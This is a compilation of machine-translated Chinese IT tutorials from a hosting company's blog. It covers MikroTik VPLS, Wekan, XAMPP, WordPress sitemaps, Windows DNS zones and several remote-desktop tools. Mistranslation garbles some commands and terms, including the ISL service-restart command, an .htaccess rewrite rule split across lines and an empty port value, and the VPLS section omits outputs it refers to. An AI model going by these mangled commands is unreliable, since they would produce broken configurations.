在示例设置中,设置了 3 条隧道来连接段 A1、A2 和 A3,从而在所涉及的段之间建立了隧道的所谓“全网状”。如果在没有(R)STP 的情况下启用桥接,则会出现流量环路。如果您正在寻找一些解决方案,请阅读以下内容:
启用(R)STP
这消除了环路,但有一个缺点,即(R)STP 协议禁止通过其中一个隧道进行转发,只保留它用于备份目的。这样,两个网段之间的流量必须通过两个隧道,这使得设置效率低下。
使用桥接防火墙
这可确保流量不会形成环路,并包括设置防火墙规则,降低桥接效率。
使用桥梁地平线功能
水平分割桥接的基本思想是,到达某个端口的流量永远不会被转发到一组端口。如上所述,数据包的发送方连接到目标网络本身。这意味着通过一个 VPLS 隧道到达的数据包永远不能发送到另一个 VPLS 隧道。
例如,如果 A1 中的设备发送一个广播或未知 MAC 地址的数据包(这会导致网桥淹没所有接口),该数据包会通过 VPLS 隧道发送到 R5 和 R4。例如,在常规设置中,当 R5 通过 VPLS 隧道接收到此类数据包时,会将其发送到与之相连的 A2,并通过 VPLS 隧道发送到 R4。因此,R4 收到了同一个数据包的两个副本,导致流量形成环路。
您可以使用网桥水平功能来配置具有水平设置的网桥端口,以便从具有水平值 X 的端口接收到的数据包不会被发送或泛洪到具有相同水平值 X 的任何端口。在 VPLS 隧道的全网状情况下,您应该为它们桥接在一起的 VPLS 隧道配置具有相同水平值的每台路由器。
使用以下 R1 配置命令为客户 A 启用桥接:
`/interface bridge add name=A`
`/interface bridge port add bridge=A interface=A1toA2 horizon=1`
`/interface bridge port add bridge=A interface=A1toA3 horizon=1`
同样,您应该在 R4 和 R5 上配置网桥。物理以太网端口没有配置水平值。如果是的话,它将完全禁止网桥发送数据。
horizon 值仅在本地有意义,不会通过网络传输,因此,如果在参与桥接网络的所有路由器上配置相同的值,也没有关系。
如何优化标签分配
在本文的其余部分,我们将教您如何在 Mikrotik 上配置 VPLS。
标签绑定过滤
当您实现给定的示例设置时,很明显并非所有的标签绑定都是必要的。因为它们永远不会被使用,所以您不需要在 R1 和 R5 或者 R1 和 R4 之间交换 IP 路由标签绑定。此外,如果给定的网络核心仅提供到指定客户端以太网段的连接,那么为连接路由器的网络分配标签就没有实际意义。唯一重要的路线是通往 VPLS 隧道终点的/32 路线。
您可以使用标签绑定过滤来仅分发特定的标签集,以减少资源使用和网络负载。
以下是标签绑定过滤器类型:
–>要通告给 LDP 邻居的标签绑定,在/mpls ldp advertise-filter 中配置
–>要从 LDP 邻居接受的标签绑定,在/mpls ldp accept-filter 中配置
过滤器被组织成一个有序列表,并指定应该包含根据过滤器测试的前缀和邻居(或通配符)的前缀。
您可以将所有路由器配置为仅对允许访问隧道端点的路由通告标签。对于这两个通告过滤器,您需要在所有路由器上进行如下配置:
`/mpls ldp advertise-filter add prefix=9.9.9.0/24 advertise=yes`
`/mpls ldp advertise-filter add prefix=0.0.0.0/0 advertise=no`
此筛选器会公布覆盖隧道端点(9.9.9.1/32,9.9.9.4/32, 9 . 9 . 9 . 5/32)的前缀为 9.9.9.0/24 的路由的绑定。
由于默认的过滤结果是当没有匹配的规则时允许有问题的操作,所以第二个规则是必要的。
在给定的配置中,不需要设置 accept filter,因为上面提到的 2 个规则引入的约定是没有 LDP 路由器分发不必要的连接。
过滤器更改不会影响现有映射,因此必须重置邻居之间的连接才能应用过滤器。您可以通过删除它们来实现这一点:
在 R1 ,您将获得:
请注意,仍然有不必要的绑定。由于与 VPLS 隧道(链接 9.9.9.5 和 9.9.9.4)的远程端点分布的有目的的 LDP 会话,绑定被分布。
您必须配置路由器来过滤它们,以便它们不会向任何隧道端点路由器分发任何 IP 绑定。例如,在 R1,筛选器表应该如下所示:
这将为路由器提供最少的标签绑定表,例如在 R1 上:
尽管它们是隧道端点,但不应在 R4 和 R5 之间禁用 IP 绑定分发。R4 和 R5 不需要绑定到 VPLS 数据隧道的 IP,这样做不会影响正常情况。但是,如果 R3 和 R5 之间的链路断开,来自 R1 的所有 R5 流量都必须通过 R4 重新路由。在这种情况下,R5 不会将 IP 绑定分发到 R4,导致 R4 无法将 MPLS 流量转发到 R5。
标签绑定过滤对网络中的数据转发有什么影响?
现在,您应该会注意到这些更改后的 traceroute 结果。从 R1 到 R5 的 traceroute 使用 R1 的环回地址作为源地址,其行为仍然相同。每个跃点报告收到的标签:
在使用 R1 面向网络地址的 traceroute 中:
除了最后一跳,所有的跳都会被响应。因为没有从 R5 到 R1 的标签交换路径(这次使用地址 1.1.1.1 ),也没有分发标签绑定。因此,ICMP 响应被路由,返回途中的路由器(R3 和 R2)收到带有源地址的数据包,并立即丢弃这些数据包,而不进行路由。
使用它们的非环回地址跟踪从 R1 到 R5 的路由:
这种跟踪路由不需要标签交换,其工作方式与没有 MPLS 的网络完全一样。
就是这样!
结论
在本文中,我们教您如何在 Mikrotik 上配置 VPLS,并向您介绍了 VPLS。我希望本教程对你有用,并能帮助你在 Mikrotik 上配置 VPLS。如果你遇到任何问题,你可以在评论区联系我们。
教程在 Debian 11 - Eldernode 博客上配置 Wekan 服务器
原文:https://blog.eldernode.com/configure-wekan-server-on-debian/
Wekan 是一个开源看板应用程序。Wekan 允许您使用基于 Meteor Javascript 框架的虚拟卡来管理日常任务。您可以创建板和卡,并随着您在每项任务中的进展,在列之间移动它们,还可以在 Wekan 的帮助下将与您一起工作的人添加到板上的工作中。这是一个基于网络的工具,类似于 Trello,这就是为什么它很容易改变和使用。在这篇文章中,我们将教你如何在 Debian 11,10 上安装和配置 Wekan 服务器。如果你想购买一台 Linux VPS 服务器,你可以访问 Eldernode 中的软件包。
如何在 Debian Linux 上安装和配置 Wekan 服务器
Wekan 允许任何人轻松地使用和修改它。它还允许您将其托管在自己的服务器上,这确保了您可以完全控制您的数据,并可以按照您的意愿操纵它。
如何在 Debian 11 | Debian 10 上配置 Wekan 服务器
你应该更新你的 debian 服务器包:
sudo apt update
Snap 是一个规范的包管理和部署系统。在此步骤中,您需要借助以下命令安装 snap:
sudo apt install snapd -y
现在是时候安装 Wekan 了:
sudo snap install wekan
现在,您需要为 Wekan 配置 web URL 的根目录:
sudo snap set wekan root-url="http://your_server_ip"
然后,您可以使用以下命令来设置 Wekan http 端口:
sudo snap set wekan port=''
现在,您应该在 snap 上重新启动 MongoDB 服务:
sudo systemctl restart snap.wekan.mongodb
然后,您还需要在 snap 上重新启动 Wekan 服务:
sudo systemctl restart snap.wekan.wekan
您可以运行以下命令来检查状态:
sudo ss -tunelp | grep 80
在下一步中,您应该在系统引导时启动 Wekan 服务:
sudo snap enable wekan
现在,您需要通过以下命令安装 MongoDB 工具:
sudo apt install mongo-tools -y
接下来,您必须重启 Wekan:
sudo systemctl restart snap.wekan.wekan
最后,您应该重新加载快照:
sudo snap refresh
如何访问 Wekan Web 界面
注意:要访问 Wekan Web 界面,您应该有一个管理员帐户。为此,首先打开您的 web 浏览器并输入以下 URL:
http://ServerIP/sign-up
然后,您应该在注册页面上创建一个帐户。
创建帐户后,您可以访问 Wekan Web 界面。
结论
本文教你如何在 Debian 11 上安装和配置 Wekan 服务器。使用 Wekan,开发人员或其他团队的项目协作变得更加容易,这提高了团队的生产率,因为工作量在团队成员之间分配,并且在更少的时间内完成更多的工作。安装 Wekan 后,您可以访问仪表板并开始创建和管理卡。
如何在 Windows 10 上配置 XAMPP-elder node
原文:https://blog.eldernode.com/configure-xampp-on-windows-10/
如何在 Windows 10 上配置 XAMPP?在之前的教程中,对于如何在 Windows 10 中安装 Xampp 进行了充分的讲解。在本文中,我们将教你如何在 Windows 10 中配置 xampp 。有时候,你可能会遇到 Apache 和 MySQL 服务的问题。这就是为什么你需要改变 Apache 和 MySQL 的端口号。要解决这些问题,请继续学习本教程。
您可以从 eldernode 选择您最理想的 Windows VPS Server 软件包。
关注我们的 xampp 配置教程。
教程在 Windows 10 上配置XAMPP
1。 第一步你需要安装 Xampp 软件。
2。 安装后运行 Xampp 。
当您启动相关模块(服务)时,相关模块(服务)的颜色会变成 绿色 颜色。
PID 和端口号也将显示给用户。
如何修复 Apache 无法在 XAMPP 启动的问题
您可以使用两种方法来解决 Apache 无法在 Xampp 软件中工作的问题:
A)更改默认的 Apache 端口
1。T3 第一步,你需要打开 Xampp 控制面板。
2。 第二步,需要点击 Apache 前面的配置按钮。
3。 在打开的小窗口中,点击 Apache (httpd.conf) 。
4。T3 在打开的记事本文件中,按 Ctrl + F ,搜索 Listen 80 。用另一个开放端口(如 81 或 9080)替换 Listen 80。保存文件并重启 Xampp 服务器。
5。 再次运行 Xampp 点击 Apache 前面的开始。
B)禁用 IIS
1。 第一步,你要打开控制面板。
2。 点击程序。
3。T3 点击打开或关闭 Windows 功能打开 Windows 功能窗口。
4。在打开的 窗口中,取消 互联网信息服务,点击确定。
5。 重启你的系统。
6。 再次打开 Xampp 控制面板,点击 Apache 前面的开始。
另请参见:
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
好运。
Goodluck.
教程配置 XML 站点地图插件[2021] - Eldernode 博客
原文:https://blog.eldernode.com/configure-xml-sitemaps-plugin/
类似于每一个 WordPress 插件,XML Sitemaps 插件被用来改善 SEO。它通过创建特殊的 XML 站点地图,帮助搜索引擎如谷歌、必应、雅虎和 Ask.com 更好地索引你的站点。如果你想通知所有主要的搜索引擎关于你的新内容,XML Sitemaps 插件会在你创建一个帖子后做这件事。使用这个插件可以让你轻松地创建网站地图。此外,你可以不用一个全面的 SEO 插件的包袱来制作网站地图。Google XML Sitemaps 下载量超过 200 万次,是 WordPress 最受欢迎的站点地图插件。加入我们这篇文章来回顾一下教程配置 XML 站点地图插件。
在 WordPress 上配置 XML Sitemaps 插件的最佳方式
XML 站点地图插件生成 XML 和 HTML 站点地图。这样,谷歌和其他引擎将索引你的网页和文章。当你开始使用一个站点地图时,爬虫会看到你的站点的结构并且更有效地检索它。它支持所有类型的 WordPress 文章,包括一般文章或任何自定义文章类型。如果你需要一个站点地图,但不想要一个页面搜索引擎优化插件,你应该安装这个插件。
谷歌 XML 网站地图不占太多空间。不管你是不是新手,使用这个插件并不困难,因为选项是不言自明的。
请和我们一起回顾配置 XML 站点地图插件所需的步骤。
如何在 WordPress 中安装 Google XML Sitemaps 插件
为了开始本指南的主要部分,我们假设你以前没有安装这个插件。这根本不是一个复杂的过程。因此,只需按照下面的路径安装 XML 站点地图插件:
1-以管理员身份登录你的 WordPress 仪表盘。
2-在左侧面板中,点击插件,点击添加新的。
3-在搜索文本框中输入 google XML sitemaps 。然后,点击搜索插件。
注意: 因为你可能会找到不止一个结果,所以检查一下插件的作者。确保下载正确的插件。XML 站点地图插件的作者是阿恩·布雷克霍尔德。
4-找到后,点击立即安装。
5-安装成功后,点击激活插件链接。
通过这种方式,Google XML Sitemaps 将自动生成您的第一个站点地图,并对您的网站的当前状态进行快照。此外,您可以通过将 /sitemap.xml 扩展名添加到您的域来查看您的站点地图。
如何配置 XML 站点地图插件
既然已经安装了 XML 站点地图插件,就可以开始配置它了。导航到设置 > > XML-Sitemap 。由于它附带了一组合理的预配置,您甚至可以保留这些设置。但是如果你配置它,它会工作得更好。请与我们一起向您展示如何根据您的需求进行最佳配置。
首先,当安装完成时,您可能会在屏幕顶部看到一条消息:“搜索引擎尚未收到通知”。
要 ping 你的站点地图到两个主要的搜索引擎,如 Google 和 Bing,点击通知搜索引擎关于你的站点地图链接,让你的站点尽快被索引。然后,插件会告诉你 ping 成功了。
接下来,您将学习配置这个插件的七个部分。让我们看看 XML Sitemaps 插件在每一部分都做了什么:
1-基本选项
该部分将控制基本配置。
建议初学者勾选谷歌和必应复选框。通过这种方式,您可以决定通知哪些搜索引擎您的网站的更新。因此,在任何新的发布或编辑旧的帖子之后,ping 过程被重复,爬行器被发送来检查更改。
另一个选项是将你的站点地图添加到 robot.txt 文件中。它与搜索引擎爬虫交流,引导他们浏览你的网站,并告诉他们索引什么。由于 robot.txt 文件对搜索引擎很有用,建议您保持勾选 robot.txt 复选框。这样,它会让你在一些额外的搜索引擎中被索引。
然后,您可以向下滚动查看高级选项。你可以跳过前两个设置,因为它们是关于内存限制和执行时间的,很大程度上是多余的。再往下,您将被要求配置 XSLT 样式表。
为了让你的站点地图看起来更好,你可以上传一个新的 XSLT 样式表。此外,为了降低“可读性”,可以完全禁用 XSLT。但是请注意,搜索引擎仍然会很好地阅读它。
这一部分中最重要的是“覆盖站点地图的基本 URL”。
现在,默认情况下,你的站点地图会出现在 /sitemap.xml 扩展名下。例如 domain.com/sitemap.xmlT5。
你把你的网站分成几个子目录。
1 根域名:domain.com
2-子目录:domain.com/blog/
如果你喜欢在根域站点地图中组合所有的站点地图,你需要在空白字段中输入子目录 URL。
接下来,转到你的根域的 。htaccess 文件并粘贴以下代码:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule ^sitemap(-+([a-zA-Z0-9_-]+))?\.xml(\.gz)?$ /your
blogdir/sitemap$1.xml$2 [L]
</IfModule>
注意 : 记得用自己的子目录名替换“ your-blogdir ”。
最后一个字段为不太复杂的机器人配置一个 HTML 版本的站点地图,这些机器人不能理解 XML。这将而不是适用于任何一个大型搜索引擎,但是,如果你想在任何地方都被索引,请勾选框。
2-附加页
在这一部分,你可以指定额外的外部页面添加到你的站点地图中,这也适用于那些使用子目录和子域的页面。
点击添加新页面并按照简单的说明进行操作。然后,指定 URL、优先级、更改频率和上次更改 URL 的日期。
3-岗位优先级
优先级是网站地图的重要组成部分,因为它们将你最重要的内容传达给了搜索引擎。每个单独的网页都有自己的优先级,分值在 0 到 1 之间,以 0.1 为增量。
如果你现在认为你可以给你所有的 URL 1.0 的最大优先级。这仅仅是一个猜测,而不是更多!
现在,为什么?因为一个 URL 的优先级是相对于其他内部 URL 来判断的,所以你不应该给你的主页和博客文章相同的优先级。因为很明显,不是所有的 URL 都具有同等的价值。
帖子优先级部分查看每个帖子的优先级是如何评分的。如上图所示,有三个选项:
A)不使用自动优先级计算:
它对所有帖子一视同仁,稍后分配实际的优先级值。
B)评论计数:
如果您选择此选项,将根据帖子收到的评论的绝对数量来计算优先级。
C)评论平均:
此选项根据相对于其他帖子的评论数计算优先级。
注意 : 当你使用一种基于评论的计算方法时,你的热门帖子将自动获得更高的优先级。
4- Sitemap 内容
在这一部分,你可以选择你想在你的站点地图中包含的条目、自定义文章类型和分类。
你的个人偏好将决定是否包含你的存档或标签页面,但是包含你所有的 WordPress 文章、页面和自定义文章类型也是理想的。
如果您不希望这些页面出现在 SERPs 中,并且这些页面的价值有问题,最好确保它们被取消选择。
您将在该部分的底部看到更多选项。建议您勾选此项,因为它包括上次修改时间。因为如果你不选中它,搜索引擎只会抓取全新的内容,而不是最近编辑过的内容。
5-排除项
你可以选择你的博客文章来包含在你的站点地图中。因此,在这一部分中,您可以从站点地图中排除整个类别,再加上通过输入 ID 号来排除单个帖子和页面。
6-改变频率
你在这篇文章的前面读到了频率的变化,它们是给搜索引擎的指导方针,你可以在那里为它们定义值。
改变频率让搜索引擎知道内容改变的频率。这些信息告诉搜索引擎何时需要发送爬虫程序来寻找更新。如果您定期(每天)发布博客内容,建议您设置主页更改频率以反映这一点。但是如果你很少更换你的网站,你可以选择年度选项。选项包括始终、每小时、每天、每周、每月、每年和从不。
注意 : 这可能不像时钟一样工作,但变化频率清楚地传达了一种内容相对于其他内容的更新频率。
7-优先级
前面,您已经了解了邮件优先级。这一部分可以让你对其他内容的重要性进行排名。此外,您需要指定博客文章的最大值和最小值。
因为你的主页可能是你最重要的页面,所以建议你给它最高 1.0 分。然后,静态页面和受欢迎的博客文章很可能是你下一个最重要的页面,所以记得也给它们打高分。
但是,你必须考虑到,不重要的内容不应该得分很高。它稀释了你真正重要的事情的优先级。
结论
在本文中,您了解了如何配置 XML 站点地图插件。拥有一个 XML 站点地图来帮助你的站点的 SEO 是非常重要的。你的站点地图会列出你所有的 URL,以及优先级和变化频率。如果你添加了正确的网址,谷歌将很容易访问你最重要的网页和文章。为了更快地索引你想要的文章和页面,你可以改变它们的优先级。此外,您可以将您的 XML 站点地图添加到 Google 搜索控制台,以帮助 Google 快速找到您的站点地图。它允许你检查站点地图的错误。
如何在 Windows Server 2016 - Window VPS 中将域连接到 DNS
原文:https://blog.eldernode.com/connect-domain-to-dns-in-windows-server/
如何在 Windows Server 2016 中将域连接到 DNS?在之前的文章中,讲授了 Windows Server 2016 中的 DNS 服务配置。在同一话题的续篇中,我们将教你如何在 Windows Server 2016 中连接一个域名到 DNS 。
如你所知,一个域需要一个 DNS 服务来指向网络和互联网上不同的服务器或节点。如果您使用主机服务,您将能够通过您的 DNS 主机面板配置 DNS 设置。
要安装一个你完全控制的专用 DNS 服务器,你必须在 Windows 或 Linux 上安装 DNS,并最终连接你的域名。
关注我们,了解如何在 Windows Server 2016 中将域连接到 DNS。
1。 你必须先在你的 Windows Server 2016 上安装 DNS 服务。
注 1: 如果您的系统上仍未安装该服务,请参考 Windows Server 2016 中的 DNS 安装教程。
2。T3 安装完毕后,打开你的 DNS 管理控制台。
3。在控制台的 中,右击前进区,选择新区。
4。 在第一页选择主区域,点击下一步。
注 2: 如果该服务器作为第二台 DNS 服务器安装,则必须使用二级区,并经历不同的步骤。
5。 在这一部分,完整输入您的域名。
6。 在这里指定你的区域文件的名称,点击下一步。我们建议您跳过这一部分,不做任何改动。
7。 最后选择不允许动态更新,点击下一步。
接下来我们将设置你的域名或域名服务器。
在 Windows Server 2016 中的 DNS 中设置名称服务器
1。先点击的,进入专区到打开里面的内容。
2。 现在在空字段上右击,选择新主机。
3。 在打开的窗口中,输入单词 ns1 作为名称,并输入您的服务器的 IP 地址。
同样,您可以将一个或多个其他 NS 添加到您的服务器或另一台服务器。
4。 右击区域上的,选择属性。
5。 转到名称 服务器选项卡。
6。删除所有预设的 NS 。
7。 现在点击添加,输入你的 NS 名字,并在底部添加其地址。然后点击确定。
8。 用同样的方法添加其他 NS 。
在本节中,完成了 Windows Server 2016 中与将域连接到 DNS 相关的设置。
现在你需要通过你的域面板配置你的子 DNS 和域名服务器,等待根 DNS 更新,直到你的域的所有 DNS 设置都在 Windows Server 2016 上。
尊敬的用户,我们希望您能喜欢这个教程,您可以在评论区提出关于本次培训的问题,或者解决老年人节点培训领域的其他问题,请参考提问页面部分,并尽快提出您的问题。腾出时间给其他用户和专家来回答你的问题。
祝你好运。
如何在 Windows 10 上连接 Iperius 远程桌面- Eldernode
原文:https://blog.eldernode.com/connect-iperius-remote-desktop-on-windows-10/
教程如何在 Windows 10 上连接 Iperius 远程桌面。Iperius Remote 是一款软件,您可以使用它进行技术支持和远程连接。你可以用它连接到 Windows 个人电脑和服务器。比如买了自己的 Windows 10 远程桌面之后。
教程在 Windows 10 上连接 Iperius 远程桌面
Iperius Remote 被称为 Iperius 软件套件的工具之一。您可以使用其备份来保护数据免受故障、盗窃和勒索病毒的影响,或者通过 Iperius Storage 将您的数据保存在云中。如果您需要监控您的备份和 IT 基础架构,请使用 Iperius 控制台。在本文中,您将学习如何通过 Iperius Remote 远程控制任何 PC 或服务器,并为客户提供远程支持。
为什么选择 Iperius(Windows 10 上的 Iperius 远程桌面)
公司对使用免费许可证和低成本许可证软件感兴趣,这有助于他们通过远程连接向客户提供技术支持。使用 Iperius,您可以享受一些功能,如无人值守的自动连接、文件传输和多重连接的可能性。为了能够共享远程计算机和联系人的地址簿,访问权限和多个操作员的管理,以及详细的连接统计,请使用专业版。
Windows 服务器上的 Iperius 功能
在下面的列表中找到 Iperius 的主要功能:
1- 用于 Windows PC /服务器的远程控制
2- 也适用于 Android 和 iOS
3- 无防火墙配置
4- 技术支持和协助的理想选择
5- 多重连接
6- 集成式多用户聊天
7- 双向文件传输
8- 加密与安全 HTTPS 协议
9- 作为 Windows 服务安装
10- 自动和无人值守连接
11- 不限目的地的计算机
12- 计算机和公司的共享列表
13- 组和操作员的管理
14- 粒度访问权限管理
15- 连接的详细统计
16- 定制贵公司的徽标和信息(全面更名)
激活和使用 Iperius 遥控器
你可以使用 Windows 平台、Android 或 iOS 应用程序。您可以使用 Iperius 的免费软件作为远程桌面和远程支持。
但是在开始学习如何使用之前,我们先来看看使用免费软件版本时有哪些限制?
当您打开一个远程桌面会话时,您将无法同时拥有显示远程计算机的共享地址簿。此外,你不能考虑一些不同的运营商账户,这些账户在有几个人提供远程支持的公司中非常有用。如果你期望它提供给你统计数据,并让你知道所有连接的数量和持续时间,按远程计算机、组或操作者划分,这是不能令人满意的。
使用商业版你会有什么便利?
如果您使用这个版本,您将拥有一个完整的行政管理仪表板,它允许您创建计算机组,将远程计算机分配到特定的组,创建多个操作员帐户,并为每个帐户管理组和计算机的权限。
如何使用 Iperius 控制台的远程连接
正如您在本教程开始时所回顾的,Iperius 控制台允许使用 Iperius Remote 进行远程桌面连接。那么,让我们看看如何使用 Iperius 套件的远程支持产品作为插件。第一步是使用 Iperius 控制台的 Windows 应用程序,该应用程序在门户网站和软件中都有提供。
安装并打开程序时,系统会提示您输入凭据。
如何将电脑添加到 Iperius 控制台T3
您需要在远程计算机上安装控制台代理软件,以便能够向 Iperius 控制台监控的计算机添加新计算机。购买后,您会收到一个安装 Iperius 控制台代理所需的许可证代码,以及要插入计算机的“工作组”的名称。Iperius 控制台完全负责管理与每个组相关的用户和计算机的“工作组”。有了这个软件,您将及时配置具体操作的查看和执行权限。要查看上次备份的列表和一些重要的统计数据,您可以转到控制面板。从侧面菜单中,我们可以访问各个工作组,然后访问相关的计算机。
所有连接的远程计算机都可以实时查看系统状态,包括已用磁盘空间、防病毒和防火墙的正确安装、当前使用的 RAM 和 CPU 以及活动进程等信息。在下图中,您可以看到一台已连接的计算机,其中有一些关于系统状态的警告。单击计算机名。
此时,您可以转到常规设置并选择 Iperius 远程可执行文件的路径:
Iperius Remote executable
是否需要更新!
将 Iperius Remote 和 Iperius 控制台代理更新到受监控计算机上可用的最新版本,以确保所有操作都正确。
电脑和 Iperius 远程菜单
为了能够使用特殊菜单访问各种功能,所有安装了 Iperius 控制台代理和 Iperius Remote 更新版本的计算机都将显示一个按钮,显示 Iperius Remote 的状态。
接下来,在您想要连接到远程桌面的计算机行上,单击显示 Iperius Remote is 的按钮。将打开一个包含各种项目的下拉菜单,根据该计算机上 Iperius Remote 和 Iperius 控制台代理的状态启用或禁用这些项目。
条目如下:
- 打开远程桌面
- 下载并连接
- 允许连接
- 更新
注:使用 Iperius 控制台,您可以从一个界面监控多台计算机和服务器。这是这个软件的主要功能之一。在硬件和软件方面,监控主要关注备份的状态和系统的健康和安全。此外,通过使用 Iperius 控制台,您将能够监控防病毒和防火墙的存在、磁盘上的已用空间、RAM 和 CPU、正在运行的进程等。
结论
在本文中,您学习了如何在 Windows 10 上连接 Iperius 远程桌面。正如您所看到的,Iperius 控制台是一个非常强大的多功能 IT 资产监控工具。此外,您可以阅读更多关于如何对远程桌面进行故障诊断的信息。
In this article, you learned How To Connect Iperius Remote Desktop On Windows 10. As you reviewed, Iperius Console is a very powerful versatile IT asset monitoring tool. Also, you can read more on How to troubleshoot Remote Desktop.
教程在 RDP | Eldernode 上连接 ISL 在线远程桌面
原文:https://blog.eldernode.com/connect-isl-online-remote-desktop-on-rdp/
教程如何在 RDP 管理员上连接 ISL 在线远程桌面。时间是交流中最重要的因素。公司试图让他们的客户更容易加入支持会议。为了节省您的时间,请购买您自己的 RDP 管理员,享受您的管理员权限和我们的 24 小时支持。
如何连接 RDP 上的 ISL 在线远程桌面
自 2001 年以来,ISL(IinternetSserviceLayer)被发现,并仍然作为技术最先进的远程桌面解决方案之一,适用于 Windows ,Mac,Linux,iOS,Android 和 Windows 10 Mobile。请阅读本文,了解在 windows 上连接 ISL 在线 RDP 的方法。
如何通过 Web 连接 ISL 在线远程计算机
首先,让我们看看如何通过网络连接。看看下面成为专家的步骤。
第一步:登录
当您按下右上角的“登录”按钮时,您将能够使用您的 ISL 会议代理帐户登录,如下所示。
注意:在访问 http://localhost/ address 的登录页面时,记得用 localhost 替换您相应的服务器地址。
第二步:用户名和密码
如下图所示,是时候输入 ISL 会议代理管理员提供给您的用户名和密码了。然后,点击“登录”。
Recommended Article: VPS vs VPN
第三步:远程访问页面
登录后,点击“远程访问”选项卡。
第四步:过滤你的电脑
要更快地找到所需的计算机,您可以根据用户对计算机的访问权限和所有者来筛选计算机。
第五步:连接电脑
在此步骤中,您需要点击您希望连接的计算机旁边的“连接”按钮。
注意:您也可以选择保存并保存可执行文件以备后用,例如,将它放在您的桌面上并将其重命名为一个更友好的名称
步骤 6:启动 ISL 灯
并且,要启动 ISL Light 可执行文件,请单击“运行”。
步骤 7:开始会话
最后,在最新一步,提示您输入电脑的访问密码,点击“连接”。如果密码正确,会话将自动开始。
W 当您希望访问远程计算机时,只需双击您桌面上的可执行文件,在提示时输入适当的用户名和密码,然后计算机访问密码就会与您连接——无需每次都访问您的 ISL 会议代理的产品页面。
I 如果您指定用户名、密码和计算机密码,您将获得一个单击式解决方案,该解决方案可以连接到某台 ISL AlwaysOn 计算机,而无需事先输入任何凭据或登录到您的用户。
如何使用命令行进行 ISL 连接
ISL AlwaysOn Connect 可以使用命令行参数,从而允许您跳过密码输入表单。可用的参数有:
1- connect-uid
如果需要,您可以使用它来传递目标机器所需的惟一 id
2-用户名
您可以使用它来提供您的 ISL 在线用户名,例如\local_domain\tim
3-密码
您可以使用它来提供您的 ISL 在线密码
4-电脑-密码
您可以使用它来提供计算机访问密码
5-电脑-密码-MD5
您可以使用它来提供注册表中写入的原始计算机访问密码-检查HKEY _ LOCAL _ MACHINE \ SOFTWARE \ ISL Online \ ISL AlwaysOn \ password
6 流选项
您可以使用它来启用列表中所需的复选框[用分号分隔],例如 small _ foot 离开 _ 背景;
如何将 ISL 在线远程与 RDP 连接
在这一部分,您将回顾六个步骤,以了解如何将 ISL online remote desktop 与 RDP 连接起来。但是请考虑到步骤 1 和步骤 2 显示了一个全局设置,允许 RDP 连接到所有连接到您的 ISL 会议代理的 ISL AlwaysOn 计算机。所以,如果你想只为一台特定的电脑启用 RDP 连接,直接跳到 s 步骤 3 。
步骤 1:登录 ISL(服务器端)
首先,您需要打开“配置”下的“ISL AlwaysOn 设置”,因此,请登录到您的 ISL 会议代理配置页面来执行此操作。
步骤 2:允许隧道连接(服务器端)
如下图所示,找到以下设置:允许隧道连接(需要重新连接)并将其设置为是。点击页面底部的保存应用更改。
注意:需要重新连接通知意味着 ISL AlwaysOn 客户端需要重新连接到 ISL 会议代理服务器,以便更改变得可见。重启服务的最快方法是在客户端的管理命令提示符下使用以下命令:
网站 ISL _ only _ on依次为 网站 ISL _ only _ on
步骤 3:隧道连接
在这一步中,您应该打开 ISL AlwaysOn 中高级设置下的隧道连接,并确保“允许隧道连接(RDP、SSH) ”复选框被选中。
注意:在上面的例子中,没有勾选“允许隧道连接(RDP,SSH) ”复选框,因为我们不允许 ISL 会议代理中的隧道连接(步骤 1 和 2)。要为此特定计算机启用隧道连接,您必须取消选中“使用默认服务器设置”,然后勾选“允许隧道连接(RDP、SSH)** ”复选框。**
第四步:选择 RDP
要选择 rdp 选项,点击“动作按钮,然后点击“通过…** 连接”**
步骤 5:无头和自动化连接
要成功通过此步骤,请输入计算机访问密码,然后单击“连接”。首先,到远程计算机的连接将以无头模式建立,这意味着在本地或远程端没有任何接口,因为该连接仅用作 RDP 的隧道。那么 RDP 会话将自动开始。
****注意:要使用此功能,必须启用远程计算机上的 RDP 连接。
第六步:使用远程计算机
**Connect to the remote computer using the **RDP interface as you normally would if the computer was on your local network.
结论
在本文中,您学习了通过 web 和 RDP 连接 ISL online Remote Desktop 的两种方式。现在,您可以在不到一分钟的时间内为远程工作配置您的办公室计算机。从家里或移动设备安全地访问您的办公室计算机。此外,你可以阅读更多关于在 windows 10 中启用远程桌面的 4 种方法。
如何在 Windows 10 远程桌面上连接 log mein-elder node
原文:https://blog.eldernode.com/connect-logmein-remote-desktop-on-windows-10/
教程如何在 Windows 10 上连接远程桌面中的 LogMeIn。logmein hamachi 是一个创建安全和私有网络的有用程序。这个程序在互联网上为你提供一个虚拟的、安全的私人网络。该程序具有良好的用户友好界面和简单的环境。logmein hamachi 应用程序使那些希望通过互联网与朋友一起体验私人和安全网络的用户成为可能,用户可以在那里玩游戏和聊天,共享文件并参与任何其他活动。
教程在 Windows 10 远程桌面上连接登录信息
在这篇文章的后续部分,我们试图让你熟悉 logmein hamachi 程序及其特性。我们也会告诉你使用 Hamachi 程序时的要点。如果你需要在系统间进行远程通信,你可以使用 Eldernode 中 Buy RDP 可用的软件包。
介绍 LogmeIn hamachi 计划
Hamachi 程序已经被用户用来在互联网上创建一个虚拟专用网络。通过订阅这个程序,用户可以创建网络,甚至连接到现有的网络。当程序运行时,IP 被分配给用户。用户在这个程序的主要部分可以连接到其他网络,或者他们可以创建自己的网络,并受益于这个程序的良好功能。
使用 Hamachi 程序,您可以在互联网上为在线游戏创建一个局域网,并轻松地与您的朋友一起玩游戏。这个程序在您的计算机和其他计算机之间创建一个安全的在线网络,它与本地或家庭网络没有什么不同。在下图中,您可以看到连接到 logmein hamachi 中创建的网络的用户。
这个程序像游戏网一样工作,你可以像一个网络一样一起玩。唯一的区别是在互联网上运行。该程序具有良好的用户界面,简单和友好的用户环境,并在其主窗口中显示所提到的两个主要操作,以便用户可以方便地使用所提到的两个主要操作。它就像一个服务器和客户端,你可以管理网络和与你的朋友聊天。除了聊天,你还可以玩网络游戏和分享你的文件。
凉拌面的特点
在互联网上建立一个安全的虚拟网络并管理它
B- 有一个良好的用户友好的界面
运行网络下的游戏
D- 用户从中央网关访问
E- 与朋友和其他成员聊天的能力
F- 快速发送虚拟网络客户端软件到新的远程计算机
G- 为自己和个人进行网络配置和设置
H- 从任何地方通过互联网点击鼠标,为最终用户管理和修复虚拟网络
